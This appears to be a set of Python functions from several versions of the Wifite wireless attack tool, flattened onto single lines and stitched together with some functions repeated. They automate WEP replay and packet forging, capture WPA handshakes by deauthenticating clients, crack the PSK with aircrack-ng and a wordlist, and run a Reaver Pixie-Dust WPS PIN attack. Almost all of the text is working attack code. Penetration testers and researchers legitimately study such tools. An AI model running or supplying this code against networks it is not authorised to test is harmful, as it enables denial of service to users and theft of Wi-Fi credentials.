stopped, restarting...' ) self.fake_auth() aircrack = Aircrack(ivs_file) elif Configuration.wep_restart_aircrack > 0 and \ aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds aircrack.stop() ivs_file = airodump.find_files( endswith='.ivs')[0] Color.pl( '\n{+} {C}aircrack{W} ran for more than' + ' {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) aircrack = Aircrack(ivs_file) if not aireplay.is_running(): # Some Aireplay attacks loop infinitely if attack_name == 'chopchop' or attack_name == 'fragment': # We expect these to stop once a .xor is created, or if the process failed. replay_file = None # Check for .xor file. xor_file = Aireplay.get_xor() if not xor_file: # If .xor is not there, the process failed. Color.pl( '\n{!} {O}%s attack{R} did not generate' % attack_name + ' a .xor file{W}') # XXX: For debugging Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break # If .xor exists, run packetforge-ng to create .cap Color.pl( '\n{+} {C}%s attack{W}' % attack_name + ' generated a {C}.xor file{W}, {G}forging...{W}' ) replay_file = Aireplay.forge_packet( xor_file, airodump_target.bssid, client_mac) if replay_file: Color.pl('{+} {C}forged packet{W},' + ' {G}replaying...{W}') wep_attack_type = WEPAttackType( "forgedreplay") attack_name = "forgedreplay" aireplay = Aireplay( self.target, 'forgedreplay', client_mac=client_mac, replay_file=replay_file) continue else: # Failed to forge packet. drop out break else: Color.pl( '\n{!} {O}aireplay-ng exited unexpectedly{W}' ) Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) Color.pl('{?} {O}Output:\n%s{W}' % aireplay.get_output()) break # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) if airodump_target.ivs > previous_ivs: time_unchanged_ivs = time.time() elif Configuration.wep_restart_stale_ivs > 0 and \ attack_name != 'chopchop' and \ attack_name != 'fragment': stale_seconds = time.time() - time_unchanged_ivs if stale_seconds > Configuration.wep_restart_stale_ivs: # No new IVs within threshold, restart aireplay aireplay.stop() Color.pl( '\n{!} restarting {C}aireplay{W} after' + ' {C}%d{W} seconds of no new IVs' % stale_seconds) aireplay = Aireplay(self.target, \ wep_attack_type, \ client_mac=client_mac, \ replay_file=replay_file) time_unchanged_ivs = time.time() previous_ivs = airodump_target.ivs time.sleep(1) continue # End of big while loop # End of with-airodump except KeyboardInterrupt: if fakeauth_proc: fakeauth_proc.stop() if len(attacks_remaining) == 0: self.success = False return self.success if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target): self.success = False return self.success except Exception as e: Color.pl("\n{+} {R}Error: {O}%s{W}" % e) continue # End of big try-catch # End of for-each-attack-type loop self.success = False return self.success
def __init__(self): ''' Starts scan, prints as it goes. Upon interrupt, sets 'targets'. ''' self.previous_target_count = 0 self.targets = [] self.target = None # Specific target (based on ESSID/BSSID) self.err_msg = None Color.pl("") # Loads airodump with interface/channel/etc from Configuration try: with Airodump() as airodump: # Loop until interrupted (Ctrl+C) scan_start_time = time() while True: if airodump.pid.poll() is not None: # Airodump process died self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % ( airodump.pid.poll(), " ".join( airodump.pid.command)) raise KeyboardInterrupt try: self.targets = airodump.get_targets() except Exception, e: break if self.found_target(): # We found the target we want return self.print_targets() target_count = len(self.targets) client_count = sum([len(t.clients) for t in self.targets]) outline = "\r{+} Scanning" if airodump.decloaking: outline += " & decloaking" outline += ". Found" outline += " {G}%d{W} target(s)," % target_count outline += " {G}%d{W} client(s)." % client_count outline += " {O}Ctrl+C{W} when ready " decloaked = airodump.decloaked_targets if len(decloaked) > 0: outline += "(decloaked" outline += " {C}%d{W} ESSIDs:" % len(decloaked) outline += " {G}%s{W}) " % ", ".join( [x.essid for x in decloaked]) Color.clear_entire_line() Color.p(outline) if Configuration.scan_time > 0 and time( ) > scan_start_time + Configuration.scan_time: return sleep(1) except KeyboardInterrupt: pass
def run(self): ''' Initiates full WPA hanshake capture attack. ''' # Check if user only wants to run PixieDust attack if Configuration.pixie_only and self.target.wps: Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack') self.success = False return self.success # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, output_file_prefix='wpa') as airodump: Color.clear_entire_line() Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") airodump_target = self.wait_for_target(airodump) # Get client station MAC addresses clients = [c.station for c in airodump_target.clients] client_index = 0 handshake = None time_since_deauth = time.time() deauth_proc = None while True: if not deauth_proc or deauth_proc.poll() != None: # Clear line only if we're not deauthing right now Color.clear_entire_line() Color.pattack("WPA", airodump_target, "Handshake capture", "Waiting for handshake...") #Color.p('\r{+} {C}WPA-handshake attack{W}: ') #Color.p('waiting for {C}handshake{W}...') time.sleep(1) # Find .cap file cap_files = airodump.find_files(endswith='.cap') if len(cap_files) == 0: # No cap files yet continue cap_file = cap_files[0] # Copy .cap file to temp for consistency temp_file = Configuration.temp('handshake.cap.bak') copy(cap_file, temp_file) # Check cap file in temp for Handshake bssid = airodump_target.bssid essid = None if airodump_target.essid_known: essid = airodump_target.essid handshake = Handshake(temp_file, bssid=bssid, essid=essid) if handshake.has_handshake(): # We got a handshake Color.pl('\n\n{+} {G}successfully captured handshake{W}') break # There is no handshake handshake = None # Delete copied .cap file in temp to save space os.remove(temp_file) # Check status of deauth process if deauth_proc and deauth_proc.poll() == None: # Deauth process is still running time_since_deauth = time.time() # Look for new clients airodump_target = self.wait_for_target(airodump) for client in airodump_target.clients: if client.station not in clients: Color.clear_entire_line() Color.pl( '\r{+} discovered new {G}client{W}: {C}%s{W}' % client.station) clients.append(client.station) # Send deauth to a client or broadcast if time.time( ) - time_since_deauth > Configuration.wpa_deauth_timeout: # We are N seconds since last deauth was sent, # And the deauth process is not running. if len(clients) == 0 or client_index >= len(clients): deauth_proc = self.deauth(bssid) client_index = 0 else: client = clients[client_index] deauth_proc = self.deauth(bssid, client) client_index += 1 time_since_deauth = time.time() continue # Stop the deauth process if needed if deauth_proc and deauth_proc.poll() == None: deauth_proc.interrupt() if not handshake: # No handshake, attack failed. self.success = False return self.success key = None # Save copy of handshake to ./hs/ self.save_handshake(handshake) # Print analysis of handshake file Color.pl('\n{+} analysis of captured handshake file:') handshake.analyze() # Crack handshake wordlist = Configuration.wordlist if wordlist != None: wordlist_name = wordlist.split(os.sep)[-1] if not os.path.exists(wordlist): Color.pl('{!} {R}unable to crack:' + ' wordlist {O}%s{R} does not exist{W}' % wordlist) else: # We have a wordlist we can use Color.p('\n{+} {C}cracking handshake{W}' + ' using {C}aircrack-ng{W}' + ' with {C}%s{W} wordlist' % wordlist_name) # TODO: More-verbose cracking status # 1. Read number of lines in 'wordlist' # 2. Pipe aircrack stdout to file # 3. Read from file every second, get keys tried so far # 4. Display # of keys tried / total keys, and ETA key_file = Configuration.temp('wpakey.txt') command = [ 'aircrack-ng', '-a', '2', '-w', wordlist, '-l', key_file, handshake.capfile ] aircrack = Process(command, devnull=True) aircrack.wait() if os.path.exists(key_file): # We cracked it. Color.pl('\n\n{+} {G}successfully cracked PSK{W}\n') f = open(key_file, 'r') key = f.read() f.close() else: Color.pl('\n{!} {R}handshake crack failed:' + ' {O}%s did not contain password{W}' % wordlist.split(os.sep)[-1]) self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key) self.crack_result.dump() self.success = True return self.success
def user_wants_to_stop(self, current_attack, attacks_remaining, target): ''' Ask user what attack to perform next (re-orders attacks_remaining, returns False), or if we should stop attacking this target (returns True). ''' target_name = target.essid if target.essid_known else target.bssid Color.pl("\n\n{!} {O}Interrupted") Color.pl("{+} {W}Next steps:") # Deauth clients & retry attack_index = 1 Color.pl( " {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name)) # Move onto a different WEP attack for attack_name in attacks_remaining: attack_index += 1 Color.pl( " {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name)) # Stop attacking entirely attack_index += 1 Color.pl( " {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index) while True: answer = raw_input( Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index)) if not answer.isdigit() or int(answer) < 1 or int( answer) > attack_index: Color.pl( "{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index) continue answer = int(answer) break if answer == 1: # Deauth clients & retry num_deauths = 1 Color.clear_entire_line() Color.p( "\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Aireplay.deauth(target.bssid, essid=target.essid) for client in target.clients: Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) num_deauths += 1 Color.clear_entire_line() Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % num_deauths) # Re-insert current attack to top of list of attacks remaining attacks_remaining.insert(0, current_attack) return False # Don't stop elif answer == attack_index: return True # Stop attacking elif answer > 1: # User selected specific attack: Re-order attacks based on desired next-step attacks_remaining.insert(0, attacks_remaining.pop(answer - 2)) return False # Don't stop
def crack_handshake(self, handshake, wordlist): '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' if wordlist is None: Color.pl("{!} {O}Not cracking handshake because" + " wordlist ({R}--dict{O}) is not set") return None elif not os.path.exists(wordlist): Color.pl("{!} {O}Not cracking handshake because" + " wordlist {R}%s{O} was not found" % wordlist) return None Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" + " {C}%s{W} wordlist" % os.path.split(wordlist)[-1]) key_file = Configuration.temp('wpakey.txt') command = [ "aircrack-ng", "-a", "2", "-w", wordlist, "--bssid", handshake.bssid, "-l", key_file, handshake.capfile ] crack_proc = Process(command) # Report progress of cracking aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s") aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$") num_tried = num_total = 0 percent = num_kps = 0.0 eta_str = "unknown" current_key = '' while crack_proc.poll() is None: line = crack_proc.pid.stdout.readline() match_nums = aircrack_nums_re.search(line) match_keys = aircrack_key_re.search(line) if match_nums: num_tried = int(match_nums.group(1)) num_total = int(match_nums.group(2)) num_kps = float(match_nums.group(3)) eta_seconds = (num_total - num_tried) / num_kps eta_str = Timer.secs_to_str(eta_seconds) percent = 100.0 * float(num_tried) / float(num_total) elif match_keys: current_key = match_keys.group(1) else: continue status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent status += " ETA: {C}%s{W}" % eta_str status += " @ {C}%0.1fkps{W}" % num_kps #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total) status += " (current key: {C}%s{W})" % current_key Color.clear_entire_line() Color.p(status) Color.pl("") # Check crack result if os.path.exists(key_file): with open(key_file, "r") as fid: key = fid.read().strip() os.remove(key_file) Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key) return key else: Color.pl("{!} {R}Failed to crack handshake:" + " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1]) return None
def crack_handshake(self, handshake, wordlist): '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' if wordlist is None: Color.pl("{!} {O}Not cracking handshake because" + " wordlist ({R}--dict{O}) is not set") return None elif not os.path.exists(wordlist): Color.pl("{!} {O}Not cracking handshake because" + " wordlist {R}%s{O} was not found" % wordlist) return None Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" + " {C}%s{W} wordlist" % os.path.split(wordlist)[-1]) key_file = Configuration.temp('wpakey.txt') command = [ "aircrack-ng", "-a", "2", "-w", wordlist, "--bssid", handshake.bssid, "-l", key_file, handshake.capfile ] crack_proc = Process(command) # Report progress of cracking aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s") aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$") num_tried = num_total = 0 percent = num_kps = 0.0 eta_str = "unknown" current_key = '' while crack_proc.poll() is None: line = crack_proc.pid.stdout.readline() match_nums = aircrack_nums_re.search(line) match_keys = aircrack_key_re.search(line) if match_nums: num_tried = int(match_nums.group(1)) num_total = int(match_nums.group(2)) num_kps = float(match_nums.group(3)) eta_seconds = (num_total - num_tried) / num_kps eta_str = Timer.secs_to_str(eta_seconds) percent = 100.0 * float(num_tried) / float(num_total) elif match_keys: current_key = match_keys.group(1) else: continue status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent status += " ETA: {C}%s{W}" % eta_str status += " @ {C}%0.1fkps{W}" % num_kps #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total) status += " (current key: {C}%s{W})" % current_key Color.clear_entire_line() Color.p(status) Color.pl("") # Check crack result if os.path.exists(key_file): f = open(key_file, "r") key = f.read().strip() f.close() os.remove(key_file) Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key) return key else: Color.pl("{!} {R}Failed to crack handshake:" + " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1]) return None
def run(self): ''' Initiates full WPA hanshake capture attack. ''' # Check if user only wants to run PixieDust attack if Configuration.pixie_only and self.target.wps: Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack') self.success = False return self.success # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='wpa') as airodump: Color.clear_entire_line() Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") airodump_target = self.wait_for_target(airodump) self.clients = [] handshake = None timeout_timer = Timer(Configuration.wpa_attack_timeout) deauth_timer = Timer(Configuration.wpa_deauth_timeout) while handshake is None and not timeout_timer.ended(): step_timer = Timer(1) Color.clear_entire_line() Color.pattack( "WPA", airodump_target, "Handshake capture", "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) # Find .cap file cap_files = airodump.find_files(endswith='.cap') if len(cap_files) == 0: # No cap files yet time.sleep(step_timer.remaining()) continue cap_file = cap_files[0] # Copy .cap file to temp for consistency temp_file = Configuration.temp('handshake.cap.bak') copy(cap_file, temp_file) # Check cap file in temp for Handshake bssid = airodump_target.bssid essid = airodump_target.essid if airodump_target.essid_known else None handshake = Handshake(temp_file, bssid=bssid, essid=essid) if handshake.has_handshake(): # We got a handshake Color.pl('\n\n{+} {G}successfully captured handshake{W}') break # There is no handshake handshake = None # Delete copied .cap file in temp to save space os.remove(temp_file) # Look for new clients airodump_target = self.wait_for_target(airodump) for client in airodump_target.clients: if client.station not in self.clients: Color.clear_entire_line() Color.pattack( "WPA", airodump_target, "Handshake capture", "Discovered new client: {G}%s{W}" % client.station) Color.pl("") self.clients.append(client.station) # Send deauth to a client or broadcast if deauth_timer.ended(): self.deauth(airodump_target) # Restart timer deauth_timer = Timer(Configuration.wpa_deauth_timeout) # Sleep for at-most 1 second time.sleep(step_timer.remaining()) continue # Handshake listen+deauth loop if not handshake: # No handshake, attack failed. Color.pl( "\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) self.success = False return self.success # Save copy of handshake to ./hs/ self.save_handshake(handshake) # Print analysis of handshake file Color.pl('\n{+} analysis of captured handshake file:') handshake.analyze() # Try to crack handshake key = self.crack_handshake(handshake, Configuration.wordlist) if key is None: self.success = False else: self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key) self.crack_result.dump() self.success = True return self.success
def run(self): ''' Initiates full WPA hanshake capture attack. ''' # Check if user only wants to run PixieDust attack if Configuration.pixie_only and self.target.wps: Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack') self.success = False return self.success # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='wpa') as airodump: Color.clear_entire_line() Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") airodump_target = self.wait_for_target(airodump) self.clients = [] handshake = None timeout_timer = Timer(Configuration.wpa_attack_timeout) deauth_timer = Timer(Configuration.wpa_deauth_timeout) while handshake is None and not timeout_timer.ended(): step_timer = Timer(1) Color.clear_entire_line() Color.pattack("WPA", airodump_target, "Handshake capture", "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) # Find .cap file cap_files = airodump.find_files(endswith='.cap') if len(cap_files) == 0: # No cap files yet time.sleep(step_timer.remaining()) continue cap_file = cap_files[0] # Copy .cap file to temp for consistency temp_file = Configuration.temp('handshake.cap.bak') copy(cap_file, temp_file) # Check cap file in temp for Handshake bssid = airodump_target.bssid essid = airodump_target.essid if airodump_target.essid_known else None handshake = Handshake(temp_file, bssid=bssid, essid=essid) if handshake.has_handshake(): # We got a handshake Color.pl('\n\n{+} {G}successfully captured handshake{W}') break # There is no handshake handshake = None # Delete copied .cap file in temp to save space os.remove(temp_file) # Look for new clients airodump_target = self.wait_for_target(airodump) for client in airodump_target.clients: if client.station not in self.clients: Color.clear_entire_line() Color.pattack("WPA", airodump_target, "Handshake capture", "Discovered new client: {G}%s{W}" % client.station) Color.pl("") self.clients.append(client.station) # Send deauth to a client or broadcast if deauth_timer.ended(): self.deauth(airodump_target) # Restart timer deauth_timer = Timer(Configuration.wpa_deauth_timeout) # Sleep for at-most 1 second time.sleep(step_timer.remaining()) continue # Handshake listen+deauth loop if not handshake: # No handshake, attack failed. Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) self.success = False return self.success # Save copy of handshake to ./hs/ self.save_handshake(handshake) # Print analysis of handshake file Color.pl('\n{+} analysis of captured handshake file:') handshake.analyze() # Try to crack handshake key = self.crack_handshake(handshake, Configuration.wordlist) if key is None: self.success = False else: self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key) self.crack_result.dump() self.success = True return self.success
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack #'--delay', '0', #'--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = 'initializing' time_since_last_step = 0 with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='pixie') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) Color.pl("") return False stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.clear_entire_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") return False if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", step) time.sleep(1) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False